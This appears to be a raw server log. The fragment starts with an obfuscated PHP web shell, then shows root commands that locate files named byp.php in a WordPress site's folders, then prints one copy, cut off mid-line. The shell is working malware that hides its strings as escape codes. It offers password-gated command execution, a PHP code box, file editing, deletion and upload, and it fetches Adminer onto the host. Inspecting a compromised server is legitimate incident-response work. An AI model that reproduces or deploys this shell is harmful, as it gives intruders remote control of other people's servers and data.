8\x69\144\x31\51\56\163\x74\x79\x6c\145\x2e\x64\151\163\160\x6c\141\x79\x3d\x22\142\154\157\143\153\42\x3b\144\x6f\143\165\155\x65\x6e\164\56\x67\x65\x74\x45\154\145\155\x65\x6e\164\x42\171\x49\x64\50\151\144\x32\51\x2e\x73\x74\171\x6c\x65\56\x64\x69\163\x70\x6c\141\171\x3d\42\156\157\x6e\145\x22\73\175\74\x2f\x73\143\162\151\x70\164\76\74\x2f\x68\145\x61\x64\x3e\74\142\157\x64\171\76\x3c\150\x31\x20\x69\144\x3d\42\x6e\x22\76\74\x61\x20\x68\x72\145\x66\75\x22\x3f\170\x3d\x78\42\x3e\x3c\x2f\141\76\x3c\x2f\150\x31\x3e"; goto py7L6; Gw3LK: VeAny: goto BTZPM; p8tel: setcookie($P0o4I, $_POST["\160\x61\x73\163"], time() + 3600); goto uuvqY; Q1B6K: if (!($gjck_ !== false)) { goto JMFgA; } goto qdmho; SQFBs: $smU6v = basename(__FILE__); goto vG9Yt; Tu8tx: $P0o4I = "\x74\165\x6e\141\146\x65\x65\x73\x68"; goto lHOPj; X0spB: $I1cB6 = "\x3c\143\145\156\164\145\162\x3e\x3c\x70\x20\x69\x64\75\42\x69\x6e\146\42\76\174\174\x7c\x20\x3c\x62\x3e\74\151\x3e\x3c\x75\76\123\x6f\146\x74\x77\x61\162\x65\72\x3c\x2f\x75\76\74\57\151\76\x3c\x2f\x62\x3e\40" . $JM9n0 . "\40\40\174\174\x7c\x20\40\74\x62\x3e\74\x69\x3e\74\165\76\125\x6e\x61\155\145\72\x3c\x2f\165\x3e\x3c\57\x69\76\74\x2f\x62\76\x20" . $VKKgS . "\40\174\x7c\174\x3c\x2f\142\162\x3e\x7c\x7c\x7c\40\74\142\x3e\x3c\151\76\x3c\165\x3e\x55\x73\145\x72\x3a\74\57\x75\x3e\x3c\57\151\76\x3c\57\x62\x3e\x20" . $Ml38_ . "\x20\174\x7c\x7c\x20\x3c\142\x3e\74\x69\x3e\74\165\76\123\x61\146\145\40\x4d\x6f\144\145\72\74\57\x75\76\x3c\57\151\76\74\57\x62\76\x20" . $yP38E . "\40\174\x7c\x7c\x20\74\x62\x3e\x3c\x69\76\74\x75\x3e\x44\x69\162\145\x63\x74\157\x72\x79\x3a\40\x3c\x2f\x69\x3e\74\57\x62\76\x3c\x2f\x75\76" . $V_GPH . "\x20\x7c\174\174\74\x2f\x70\x3e\x3c\57\x63\x65\156\164\145\x72\x3e\74\150\x72\x3e"; goto mndPk; HB42v: die; goto xiA3g; pg8My: chdir($_GET["\x64"]); goto g1jYQ; N7cdB: zoCIN: goto b5T1W; EUYq3: $gjck_ = readdir($P2tZg); goto JlVmA; joLY4: if (!($_POST["\x70\141\x73\163"] == $S8GJ1)) { goto L3J2u; } goto p8tel; bCOLe: JxAPA: goto wSUBA; jyMMO: $P2tZg = $_GET["\144\x65\154\x64"]; goto qcRtq; aVRj0: $FhByS = $_GET["\143\150"]; goto Ai1mQ; cBw30: if (!isset($_GET["\156\x64\x69\162"])) { goto swjns; } goto mhQCg; z4hNP: print "\x3c\x2f\x74\141\142\x6c\x65\x3e"; goto A_tss; Znoc_: function f2s2k() { goto RAgKW; hGMEN: return "\105\156\x61\142\x6c\x65\144"; goto ta1q8; Ax_5u: goto dcw7E; goto lbMys; lbMys: f1d1d: goto hGMEN; cSubg: return "\x44\x69\x73\141\142\154\x65\x64"; goto Ax_5u; RAgKW: if (function_exists("\x63\x6f\154\111\117")) { goto f1d1d; } goto cSubg; ta1q8: dcw7E: goto xqEKG; xqEKG: } goto dGDdn; Wf5PT: JMFgA: goto HhExg; kvDLF: function NnAm6($hBaye) { goto Jr0ug; h4PaY: foreach ($iqg1v as $g_O8w => $kidvc) { goto VO862; SKKnL: $bnIMQ = 0; goto SMA2I; nLU7d: RgWqO: goto R1Fs2; eQJ41: xO42B: goto rJhkk; VO862: $x9ZSk .= "\74\141\40\150\162\x65\146\x3d\x22\x3f\144\x3d"; goto SKKnL; HHXeC: $x9ZSk .= $iqg1v[$bnIMQ] . DIRECTORY_SEPARATOR; goto nLU7d; vi1Ac: Ek6Cx: goto s5WHm; s5WHm: $x9ZSk .= "\x22\76" . $kidvc . DIRECTORY_SEPARATOR . "\74\x2f\x61\76"; goto eQJ41; R1Fs2: $bnIMQ++; goto aAANr; HuEG1: if (!($bnIMQ <= $g_O8w)) { goto Ek6Cx; } goto HHXeC; SMA2I: NeBcZ: goto HuEG1; aAANr: goto NeBcZ; goto vi1Ac; rJhkk: } goto AlSdJ; Jr0ug: $iqg1v = explode(DIRECTORY_SEPARATOR, realpath("\56") . $hBaye); goto ZdYTU; YD2WC: return $x9ZSk; goto VvWui; AlSdJ: h4E9E: goto YD2WC; ZdYTU: $x9ZSk = ''; goto h4PaY; VvWui: } goto QK2M0; lYu95: switch ($_REQUEST["\170"]) { case "\x63": goto NFjxw; mxftz: obeqS: goto VmbT0; mnWsM: fclose($tgcC_); goto h2RNi; o3rZI: $tgcC_ = fopen($Nnn2T, "\167") or print "\x3c\160\x20\151\x64\75\x22\x6e\156\42\76\105\x72\162\157\162\40\117\160\x65\156\x69\156\x67\x20\106\151\x6c\x65\74\x2f\x70\x3e"; goto rQn2r; jjGG6: goto vCWkT; goto c7etR; kGabf: $Nnn2T = $_GET["\146"]; goto o3rZI; h2RNi: tsCuw: goto q3dwf; qR5pP: foreach ($zDxPQ as $gjck_) { print htmlspecialchars($gjck_); ctZlZ: } goto XNB0f; ntsrI: $zDxPQ = file($_GET["\146"]); goto qR5pP; spPmM: if (!file_exists($_GET["\146"])) { goto obeqS; } goto ntsrI; rQn2r: fwrite($tgcC_, $_POST["\145\144\151\x74\x5f\x66\x6f\x72\x6d"]) or print "\74\x70\40\151\x64\75\42\x6e\x6e\x22\x3e\x43\x6f\165\x6c\144\x6e\47\164\x20\x53\x61\x76\145\x20\106\151\x6c\x65\x3c\57\x70\x3e"; goto mnWsM; XNB0f: p3gah: goto mxftz; VmbT0: print "\x3c\x2f\x74\145\170\164\141\x72\145\141\x3e\x3c\57\142\162\x3e\x3c\x2f\142\x72\x3e\x3c\151\x6e\x70\165\x74\40\164\x79\x70\145\x3d\x22\163\x75\142\x6d\151\x74\x22\x20\166\x61\x6c\165\x65\75\x22\x53\x61\x76\145\42\x20\151\x64\75\42\163\x76\x22\76\x3c\x2f\x66\157\162\155\x3e\x3c\57\143\145\x6e\x74\x65\x72\76"; goto jjGG6; q3dwf: print "\74\143\x65\x6e\164\145\162\x3e\x3c\160\x3e\x45\144\151\x74\151\156\147\40" . $_GET["\x66"] . "\x20\50" . JtBl3($_GET["\144"] . $_GET["\x66"]) . "\51\40\56\x3c\57\160\76\74\x2f\142\x72\76\74\x2f\x62\162\76\74\146\157\x72\x6d\x20\x61\x63\164\x69\x6f\x6e\x3d\x22\x3f\x78\75\x63\46\x64\x3d" . realpath("\x2e") . "\x26\146\x3d" . $_GET["\146"] . "\42\40\155\145\x74\x68\x6f\x64\x3d\42\x50\x4f\x53\x54\42\x3e\74\164\145\x78\164\141\x72\145\141\x20\143\x6f\x6c\163\75\71\60\40\x72\x6f\167\x73\x3d\61\65\x20\x6e\141\155\x65\75\42\145\x64\x69\164\x5f\x66\x6f\162\155\42\40\151\144\75\42\x65\144\x69\164\x22\x3e"; goto spPmM; NFjxw: if (!isset($_POST["\145\x64\151\164\137\x66\x6f\x72\155"])) { goto tsCuw; } goto kGabf; c7etR: case "\x63\x6d\144": goto IyLuo; IyLuo: print "\74\57\142\x72\x3e\x3c\57\142\162\76\74\143\x65\156\164\145\x72\76\x3c\150\x33\x3e\x45\170\x65\143\165\164\x65\x20\103\x6f\155\x6d\x61\156\x64\74\x2f\x68\x33\76\74\x66\157\x72\155\x20\x61\143\164\x69\157\156\75\x22\77\170\75\x63\x6d\x64\x26\x64\75" . realpath("\56") . "\x22\x20\x6d\145\x74\150\x6f\144\75\x22\120\117\123\x54\42\76\x3c\151\156\160\x75\164\x20\x74\171\x70\145\x3d\x22\164\x65\x78\x74\42\40\x76\141\154\165\145\x3d\x22\42\40\x6e\141\155\x65\75\42\x63\155\x64\42\40\x69\144\x3d\42\x6c\x74\42\76\40\x20\x3c\x69\156\x70\165\164\40\164\x79\x70\145\x3d\x22\x73\x75\142\x6d\151\x74\x22\x20\x76\x61\154\165\x65\x3d\x22\107\157\x22\40\151\x64\75\42\154\x74\42\x3e\x3c\57\146\x6f\162\x6d\x3e\x3c\57\x62\x72\x3e\x3c\x74\145\x78\x74\141\x72\x65\x61\40\143\157\x6c\163\x3d\71\60\40\x72\x6f\167\163\75\61\x35\40\x69\x64\x3d\42\x65\x64\151\164\x22\76"; goto ai_8_; Fo4Lg: $CpUWl = $_POST["\x63\155\144"]; goto cZ5Nt; cZ5Nt: XFXFf(Ard00(), $CpUWl); goto VmP8U; VmP8U: He1eW: goto A_WlH; A_WlH: print "\x3c\57\164\145\x78\164\x61\x72\145\141\x3e\x3c\x2f\x63\x65\156\164\x65\x72\x3e"; goto nvnsj; nvnsj: goto vCWkT; goto y3vyo; ai_8_: if (!isset($_POST["\143\x6d\144"])) { goto He1eW; } goto Fo4Lg; y3vyo: case "\x70\150\x70": goto K2NLp; K2NLp: print "\74\57\x62\x72\x3e\x3c\57\142\162\x3e\74\x63\x65\x6e\x74\x65\162\76\74\150\x33\x3e\120\110\120\x20\103\x6f\144\x65\74\57\x68\63\x3e\74\146\x6f\162\x6d\40\141\x63\164\151\157\x6e\75\77\x78\x3d\160\x68\x70\46\144\x3d\x22" . realpath("\56") . "\42\x20\155\145\x74\150\157\144\x3d\42\120\x4f\x53\x54\42\x3e\x3c\151\156\160\x75\164\40\x74\171\160\145\75\x22\x74\145\x78\x74\x22\x20\x76\141\154\165\x65\x3d\42\x22\x20\156\x61\x6d\x65\75\x22\160\143\x6f\x64\145\x22\40\151\144\75\x22\x6c\164\42\76\x20\74\x69\x6e\160\165\x74\x20\x74\x79\160\x65\x3d\x22\163\165\142\155\x69\x74\42\x20\166\x61\x6c\x75\x65\75\42\107\157\42\40\x69\x64\75\42\x6c\x74\x22\76\x3c\x2f\146\157\x72\x6d\x3e\x3c\x2f\142\162\76\74\x74\x65\x78\x74\141\162\x65\141\40\143\157\x6c\x73\75\x39\60\40\162\157\167\163\x3d\x31\65\x20\x69\x64\x3d\42\x65\144\x69\x74\x22\x3e"; goto cc8uJ; cc8uJ: print "\74\x2f\164\x65\170\x74\x61\162\145\141\x3e\74\x2f\x63\145\156\164\145\162\x3e"; goto z53ov; z53ov: goto vCWkT; goto SVgXL; SVgXL: case "\160\150\x70\151\156\146": phpinfo(); goto vCWkT; case "\x71": goto oC3OO; SJUAv: goto vCWkT; goto dd39V; oC3OO: setcookie($P0o4I, '', time() - 3600); goto WC7Qi; WC7Qi: zWalw(); goto SJUAv; dd39V: case "\x74\x6f\x6f\154\x73": goto PSX_1; HVnrI: print "\x3c\x75\x6c\x3e"; goto nLTli; CV68m: Lot44: goto DKeiY; OSqpc: goto vCWkT; goto cHsD1; tSZO9: Tt9PE: goto ZUgcG; rsdq0: $M7XBo = $s6Uy2[$BfLkp]; goto AVa0w; DKeiY: $BfLkp = $_GET["\146\151\x6c\145"]; goto rsdq0; ZUgcG: print "\74\57\x63\145\x6e\164\145\162\x3e"; goto OSqpc; MblDg: eEVEJ: goto tSZO9; sIId2: if ($W4RVQ !== false) { goto WSfIN; } goto X00Qj; T9p7E: print "\74\160\x3e" . $BfLkp . "\x20\144\x6f\x77\x6e\x6c\157\x61\144\x65\x64\x20\163\165\143\x63\145\x73\x73\146\x75\x6c\x6c\x79\x2e\x20\131\x6f\x75\x20\x63\x61\156\40\146\151\x6e\144\40\x69\164\x20\74\141\x20\150\x72\x65\x66\75\42" . $baTcc . "\42\x3e\x68\x65\162\145\x3c\x2f\x61\x3e\x2e\x3c\x2f\x70\76"; goto MblDg; PSX_1: print "\x3c\x2f\142\162\x3e\74\57\142\x72\76\x3c\57\x62\x72\76\74\143\x65\x6e\164\x65\x72\x3e\74\x68\61\x20\151\144\x3d\42\156\x6d\42\76\x54\157\157\x6c\163\74\x2f\x68\x31\x3e"; goto pT1mk; AVa0w: $baTcc = basename($M7XBo); goto YFf7Y; nLTli: foreach ($s6Uy2 as $gQePm => $m3_bB) { print "\x3c\x6c\x69\x3e\x3c\141\x20\150\162\145\146\75\x22\x3f\170\75\x74\157\157\x6c\163\x26\x66\x69\154\x65\x3d" . urlencode($gQePm) . "\x22\76" . $gQePm . "\x3c\x2f\x61\x3e\x3c\x2f\x6c\151\76"; TAJs2: } goto dQBrc; n8C9G: WSfIN: goto T9p7E; YFf7Y: $TlYV9 = dirname(__FILE__) . "\x2f" . $baTcc; goto WE2X4; X00Qj: print "\x3c\x70\76\106\x61\x69\x6c\x65\144\40\x74\x6f\x20\x64\x6f\167\156\x6c\x6f\x61\x64\x20" . $BfLkp . "\x2e\74\57\x70\x3e"; goto hDlOK; pT1mk: $s6Uy2 = ["\x41\x64\155\x69\x6e\x65\162" => "\150\x74\x74\x70\163\x3a\57\57\x77\167\167\x2e\141\144\x6d\151\156\145\162\x2e\x6f\x72\x67\x2f\154\141\164\145\163\164\56\160\x68\x70"]; goto cU6Gg; cU6Gg: if (isset($_GET["\x66\x69\x6c\145"]) && isset($s6Uy2[$_GET["\146\x69\154\145"]])) { goto Lot44; } goto KErs9; hDlOK: goto eEVEJ; goto n8C9G; ZPThx: goto Tt9PE; goto CV68m; KErs9: print "\x3c\160\x3e\x50\x6c\145\x61\163\145\40\x73\x65\x6c\x65\143\x74\40\141\x20\146\x69\154\x65\x20\x74\x6f\x20\x64\x6f\167\x6e\x6c\x6f\x61\x64\72\74\x2f\x70\76"; goto HVnrI; hlOZW: print "\74\x2f\165\x6c\x3e"; goto ZPThx; WE2X4: $W4RVQ = file_put_contents($TlYV9, file_get_contents($M7XBo)); goto sIId2; dQBrc: zC2jR: goto hlOZW; cHsD1: } goto JeN5N; lHOPj: if (!isset($_POST["\160\x61\163\163"])) { goto rG1q4; } goto joLY4; b5T1W: print "\74\160\40\x69\144\x3d\42\142\143\x6b\x22\x3e\x3c\x61\40\150\162\145\x66\75\x22\x3f\144\75" . realpath("\56") . "\42\x3e\102\101\x43\113\74\x2f\141\76\74\x2f\160\76"; goto lYu95; mtEAx: $gjck_ = readdir($P2tZg); goto CvZn0; py7L6: $RzZIO = "\x3c\143\145\x6e\x74\145\162\76\74\160\x20\151\144\x3d\x22\155\x65\156\x75\x22\76\x3c\x73\x70\141\x6e\40\x69\144\x3d\x22\x6d\x65\156\165\x42\42\76\x3c\74\x61\x20\150\162\x65\x66\75\42" . $smU6v . "\x22\x3e\x48\157\x6d\145\74\57\x61\x3e\76\x20\x3c\x3c\141\x20\x68\162\145\146\75\42\x3f\x78\x3d\143\155\x64\x26\x64\x3d" . realpath("\56") . "\x22\76\103\157\155\155\141\x6e\x64\74\x2f\x61\76\x3e\40\74\x3c\141\40\x68\162\x65\146\75\42\x3f\170\75\x70\150\160\46\144\x3d" . realpath("\56") . "\x22\x3e\120\x48\x50\x3c\x2f\x61\x3e\x3e\x20\x3c\x3c\141\40\150\x72\x65\x66\75\x22\x3f\170\75\x74\157\x6f\154\163\42\76\124\x6f\x6f\x6c\163\x3c\x2f\x61\76\76\x20\x3c\x3c\141\x20\150\162\x65\x66\x3d\x22\77\170\x3d\161\42\x3e\x4c\x6f\147\157\165\x74\x3c\57\141\x3e\x3e\x20\x3c\57\163\x70\x61\156\76\x3c\x2f\160\x3e\74\57\143\x65\x6e\164\145\x72\x3e"; goto M6ANb; DjtHr: function MV3EE($BSY3e) { goto LBHRW; O53VH: nuJmg: goto Eu1Be; NwQMb: goto nuJmg; goto YR691; AF_qq: $BSY3e /= 1024; goto Euz1p; Euz1p: $bnIMQ++; goto NwQMb; YR691: LNDfr: goto X1v_3; LBHRW: $WJ1Tk = array("\102", "\113\102", "\x4d\x42", "\107\102", "\x54\x42"); goto YIIWH; Eu1Be: if (!($BSY3e >= 1024)) { goto LNDfr; } goto AF_qq; YIIWH: $bnIMQ = 0; goto O53VH; X1v_3: return round($BSY3e, 2) . "\x20" . $WJ1Tk[$bnIMQ]; goto cClBm; cClBm: } goto rc1wX; fodQL: $fkqzQ = $_GET["\x6e\144\x69\x72"]; goto KLQ4d; OYmk4: if (!isset($_GET["\144"])) { goto I7E6z; } goto UurRZ; Ai1mQ: $P2tZg = $_GET["\144\146"]; goto qnvfm; UurRZ: chdir($_GET["\144"]); goto wlIg0; dGDdn: function Sa2jQ() { goto Nr2YR; Qloqu: frxOO: goto Dzp85; XKE8V: pj1Op: goto h2MHQ; Dzp85: return "\105\x6e\141\x62\154\x65\144"; goto XKE8V; IV2B4: return "\x44\x69\x73\141\x62\154\x65\x64"; goto Wtxsv; Wtxsv: goto pj1Op; goto Qloqu; Nr2YR: if (function_exists("\x54\x54\150\x55\x35")) { goto frxOO; } goto IV2B4; h2MHQ: } goto DjtHr; w8_qC: print "\x3c\x74\x72\x20\151\144\x3d\42\146\x6e\x22\x3e\74\164\144\x3e\74\141\40\150\162\x65\146\75\42\77\x78\x3d\143\46\144\75" . realpath("\56") . "\46\x66\x3d" . $gjck_ . "\42\x3e" . $gjck_ . "\x3c\x2f\x61\76\74\x2f\x74\144\x3e\74\164\144\x3e" . jTbl3(realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_) . "\74\x2f\164\144\76\74\164\144\76\74\141\x20\x68\162\x65\x66\75\42\77\x64\x65\154\146\75" . realpath("\56") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\76\104\145\154\145\x74\x65\x3c\57\x61\x3e\74\57\x74\144\x3e\74\164\144\76\x3c\x61\x20\x68\x72\145\146\x3d\x22\x3f\x78\75\143\46\144\75" . realpath("\x2e") . DIRECTORY_SEPARATOR . $gjck_ . "\x22\x3e\x45\x64\151\164\x3c\x2f\141\76\x3c\x2f\x74\144\x3e\74\57\164\x72\76"; goto ZQuou; LcOe3: print "\74\x70\40\x61\154\x69\x67\x6e\x3d\42\143\x65\156\164\145\162\42\40\151\x64\75\x22\x63\x70\x22\x3e" . nnam6('') . "\74\57\x70\76"; goto c0J7v; SAGvw: goto tYfyV; goto N7cdB; bPmZb: Q418N: goto CpCx1; gys12: rG1q4: goto dJjBf; UJJ02: swjns: goto W6pF0; MFn3P: $xZTDQ = "\43\63\x33\x33\x33\63\x33"; goto Y3MMO; ZQuou: snEKv: goto mtEAx; wSUBA: if (!isset($_GET["\x63\150"])) { goto mT5eY; } goto aVRj0; WTIpO: $Ml38_ = get_current_user() . "\x20\x75\x69\144\72" . getmyuid() . "\40\147\x69\144\x3a" . getmygid(); goto WPkVg; WPkVg: $yP38E = ini_get("\163\x61\146\x65\x5f\x6d\157\x64\x65"); goto MJTX6; dJjBf: if (!(!empty($S8GJ1) && (!isset($_COOKIE[$P0o4I]) || $_COOKIE[$P0o4I] != $S8GJ1))) { goto ZEht2; } goto UBeyC; JeN5N: Dg8UP: goto pYbPt; uuvqY: L3J2u: goto Q215G; myg_B: function FYg1U() { goto OXMhd; btayH: Zni8b: goto S2wLN; nseW5: return "\x4f\x46\x46"; goto P_wf9; Ijzzv: SfdxU: goto YdtPa; P_wf9: goto Zni8b; goto Ijzzv; OXMhd: if (function_exists("\x73\162\110\x33\x6a") && sRh3j()) { goto SfdxU; } goto nseW5; YdtPa: return "\117\x4e"; goto btayH; S2wLN: } goto Am4C8; Y3MMO: $nSlOI = "\x23\71\71\x39\x39\71\71"; goto f4sdJ; G9cr2: print $RzZIO; goto JU0pI; ep_Lp: error_reporting(0); goto Tu8tx; or2vg: $fkqzQ = $_POST["\x6e\145\167"]; goto bdfu4; LbEgC: tYfyV: goto WWZN2; vG9Yt: $JM9n0 = $_SERVER["\x53\x45\x52\x56\105\x52\x5f\x53\117\x46\x54\x57\101\122\105"]; goto eIuXJ; mcvR4: function dd7rO() { $bXarx = "\xd\12\40\40\40\x20\x3c\164\141\x62\x6c\145\x20\x62\x6f\162\144\x65\x72\x3d\42\60\x22\40\167\x69\144\164\150\75\42\61\x30\x30\x25\x22\40\x68\145\x69\x67\150\164\x3d\x22\x31\x30\60\45\x22\x20\x61\x6c\151\x67\x6e\75\42\x63\x65\156\164\x65\162\x22\x20\163\164\171\x6c\145\x3d\42\x62\141\x63\153\x67\162\x6f\165\x6e\x64\x3a\x23\x33\x33\63\63\x33\63\x3b\x63\157\x6c\157\x72\x3a\163\x69\x6c\x76\x65\x72\x3b\x22\76\xd\12\x20\40\x20\40\40\x20\40\x20\74\x74\162\76\xd\xa\40\40\40\40\40\40\x20\40\x20\x20\40\x20\x3c\164\144\40\x76\x61\154\151\x67\x6e\75\42\155\151\x64\x64\154\145\42\76\15\xa\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\x3c\143\x65\156\x74\145\162\x3e\xd\xa\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\74\146\157\x72\155\x20\x61\x63\x74\x69\157\156\75\x22\x22\40\x6d\145\x74\150\x6f\x64\x3d\42\120\117\123\x54\x22\76\xd\xa\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x3c\x6c\141\x62\145\x6c\x20\x66\157\x72\75\x22\160\x61\x73\163\x22\76\120\x61\x73\163\x77\x6f\162\144\x3a\74\57\154\141\x62\145\154\76\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x3c\151\x6e\x70\165\x74\40\164\171\160\x65\x3d\x22\160\141\x73\x73\167\157\162\x64\x22\40\155\141\170\154\x65\156\147\164\150\x3d\x22\61\60\x22\40\156\x61\155\x65\x3d\x22\160\141\163\x73\x22\40\x73\x74\171\154\145\75\42\142\141\x63\153\147\x72\x6f\x75\156\x64\x3a\43\63\63\x33\63\x33\x33\73\x63\157\x6c\x6f\x72\x3a\163\x69\154\166\145\162\73\142\x6f\x72\x64\x65\162\55\162\x61\144\151\x75\x73\x3a\61\60\x70\x78\x3b\142\157\x72\144\145\x72\x3a\61\x70\170\x20\163\x6f\154\151\144\40\163\151\x6c\x76\145\162\x3b\164\145\170\164\x2d\x61\154\151\x67\x6e\x3a\x63\145\x6e\x74\145\162\x3b\x22\76\xd\12\40\x20\40\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\74\151\156\160\165\164\40\164\x79\160\145\x3d\42\x73\x75\x62\155\x69\x74\42\40\166\x61\154\x75\x65\75\x22\x3e\x3e\42\x20\x73\x74\171\154\145\75\x22\142\x61\x63\x6b\147\162\157\165\x6e\x64\72\43\x33\63\63\x33\63\x33\x3b\143\157\154\x6f\162\x3a\163\x69\154\166\x65\162\73\x62\157\x72\144\145\x72\55\x72\141\144\151\165\163\72\x31\x30\160\170\x3b\142\157\x72\144\145\162\x3a\x31\x70\x78\40\x73\157\154\x69\x64\40\x73\x69\154\x76\x65\x72\73\42\76\xd\xa\x20\x20\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x3c\57\x66\x6f\162\x6d\76\xd\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\74\x2f\x63\x65\x6e\164\x65\162\x3e\15\xa\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\40\x20\40\x20\74\x2f\164\x72\76\xd\xa\40\x20\x20\40\74\x2f\x74\141\x62\154\x65\76\xd\xa\40\40\x20\x20"; echo $bXarx; } goto bnRRa; HhExg: print "\74\57\164\141\x62\x6c\x65\76"; goto SAGvw; qcRtq: rmdir($P2tZg); goto Gw3LK; yNNpV: function wKNZx() { goto ATSi7; AXUJT: return "\117\x4e"; goto giuQh; iGDXb: C0dGs: goto AXUJT; SVfKl: goto sd8os; goto iGDXb; ATSi7: if (ini_get("\x72\x65\147\151\163\164\145\x72\x5f\147\x6c\x6f\x62\x61\x6c\x73")) { goto C0dGs; } goto u113d; u113d: return "\117\x46\x46"; goto SVfKl; giuQh: sd8os: goto NWWJ1; NWWJ1: } goto coYuo; rc1wX: print $nuuFj;root@vmi541578:~# cat /home/deploy/ftp/lvntinteggiaturm /home/deploy/ftp/lvntinteggiature.it/byp.php
root@vmi541578:~# find /home/deploy/ftp/ -type f -name byp.php
/home/deploy/ftp/lvntinteggiature.it/wp-admin/byp.php
/home/deploy/ftp/lvntinteggiature.it/byp.php
root@vmi541578:~# cat /home/deploy/ftp/lvntinteggiature.it/wp-admin/byp.php
<?php
 goto ep_Lp; c0J7v: print "\74\x74\x61\142\154\145\x20\x77\x69\x64\x74\150\75\71\60\x25\x20\141\x6c\x69\147\x6e\x3d\x22\143\145\x6e\x74\x65\162\x22\40\151\x64\x3d\x22\x6c\164\x22\x63\x65\x6c\x6c\160\x61\x64\x64\x69\156\x67\x3d\x22\x30\42\x3e\x3c\164\x64\40\141\x6c\151\x67\x6e\x3d\x22\x63\x65\x6e\x74\145\x72\42\x3e\74\146\157\x72\155\x20\141\x63\x74\151\157\x6e\x3d\x22\77\x64\75" . realpath("\x2e") . "\x22\40\x6d\x65\x74\150\x6f\144\x3d\x22\x47\x45\124\x22\x3e\103\x72\145\x61\164\x65\x20\104\x69\162\72\40\74\151\x6e\x70\x75\x74\40\164\171\x70\x65\x3d\x22\x68\151\144\144\145\156\x22\x20\x6e\x61\x6d\x65\x3d\42\144\42\x20\x76\x61\154\x75\x65\75\42" . realpath("\56") . "\42\x20\x69\x64\75\x22\x6c\x74\42\x3e\x3c\151\x6e\160\165\x74\x20\x74\171\x70\145\75\x22\x74\x65\x78\164\x22\40\x76\141\x6c\x75\x65\75\x22\42\x20\156\x61\x6d\x65\x3d\x22\156\x64\151\162\42\40\151\144\x3d\x22\x6c\164\x22\76\40\74\x69\x6e\160\165\x74\40\x74\171\160\x65\75\x22\163\x75\142\x6d\x69\x74\x22\x20\166\141\x6c\x75\145\75\42\107\157\42\40\151\144\x3d\x22\x6c\x74\42\76\74\57\x66\x6f\x72\155\x3e\x3c\x2f\x74\144\x3e\74\164\x64\40\x61\x6c\151\x67\156\x3d\x22\143\145\x6e\x74\x65\162\42\76\x3c\x66\x6f\x72\x6d\40\x61\x63\x74\x69\157\156\x3d\42\77\x64\x3d\x22" . realpath("\x2e") . "\42\40\155\145\164\150\x6f\144\x3d\42\x47\x45\x54\x22\x3e\103\x72\x65\141\x74\145\x20\106\151\x6c\145\x3a\40\x3c\x69\156\x70\165\164\x20\x74\171\160\x65\75\42\x68\x69\x64\x64\x65\x6e\x22\x20\166\x61\154\x75\x65\75\42" . realpath("\56") . "\x22\x20\156\x61\155\x65\x3d\x22\144\x22\40\151\144\75\42\154\164\42\x3e\x3c\x69\156\160\165\x74\x20\164\x79\x70\x65\75\x22\150\x69\x64\x64\145\x6e\x22\x20\x76\141\x6c\165\x65\75\x22\143\42\x20\x6e\141\155\x65\x3d\x22\170\x22\x3e\x3c\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\42\164\145\x78\x74\42\x20\x76\x61\x6c\x75\x65\x3d\42\x22\40\156\x61\155\x65\75\x22\146\x22\x20\x69\x64\75\42\x6c\164\42\x3e\x20\74\x69\x6e\160\165\164\x20\x74\x79\160\145\75\42\163\165\142\155\x69\x74\42\40\166\x61\x6c\165\145\75\x22\107\157\x22\40\x69\144\x3d\42\x6c\164\x22\76\74\57\x66\157\162\155\x3e\74\x2f\x74\x64\76\x3c\x74\x64\x20\x61\154\151\x67\x6e\x3d\x22\143\145\x6e\x74\145\162\42\x3e\74\x66\157\162\155\x20\141\143\x74\x69\157\x6e\x3d\x22\77\x78\75\143\155\144\46\x64\75" . realpath("\x2e") . "\42\40\x6d\145\164\150\157\144\x3d\42\120\x4f\123\124\x22\x3e\103\157\155\155\141\x6e\x64\x3a\x20\x3c\x69\x6e\x70\x75\164\x20\x74\171\160\x65\x3d\x22\x74\x65\x78\164\42\40\166\141\x6c\x75\x65\x3d\42\x22\x20\156\141\155\x65\x3d\x22\143\155\x64\x22\x20\151\x64\x3d\x22\154\x74\42\76\x20\74\151\156\x70\x75\164\40\x74\x79\x70\x65\x3d\42\163\x75\142\155\151\x74\x22\40\x76\x61\x6c\165\x65\75\x22\x47\157\42\x20\x69\x64\75\x22\x6c\164\42\x3e\74\57\146\157\x72\155\x3e\x3c\57\x74\144\76\x3c\x74\x64\x20\141\x6c\151\147\156\75\42\143\x65\x6e\x74\145\x72\x22\x3e\x3c\x66\157\162\x6d\40\x61\x63\x74\x69\157\x6e\x3d\x22\x3f\144\x3d" . realpath("\x2e") . "\x22\40\155\x65\164\150\x6f\144\x3d\42\120\117\123\124\x22\40\x65\x6e\143\164\x79\x70\x65\75\x22\x6d\165\x6c\164\151\160\141\162\x74\x2f\x66\x6f\x72\x6d\55\x64\x61\164\x61\x22\x3e\x55\160\x6c\157\141\x64\x3a\x20\74\151\156\x70\165\164\40\x74\x79\x70\x65\x3d\x22\x68\151\144\144\x65\x6e\x22\x20\x76\141\x6c\165\145\75\42\x31\x30\x30\60\x30\60\x30\x30\60\42\40\x6e\x61\155\145\75\42\115\101\x58\x5f\106\x49\x4c\105\x5f\x53\x49\132\x45\42\x3e\74\x69\x6e\x70\x75\x74\40\x74\x79\160\145\x3d\42\146\x69\154\x65\42\x20\156\141\x6d\145\x3d\42\165\x70\146\x69\154\x65\42\x20\x69\144\75\x22\x6c\x74\42\76\40\74\151\156\160\165\x74\40\x74\171\x70\x65\75\x22\x73\165\x62\x6d\x69\x74\42\x20\x76\x61\154\x75\x65\75\42\107\157\42\x20\151\x64\x3d\x22\154\164\x22\x3e\x3c\57\x66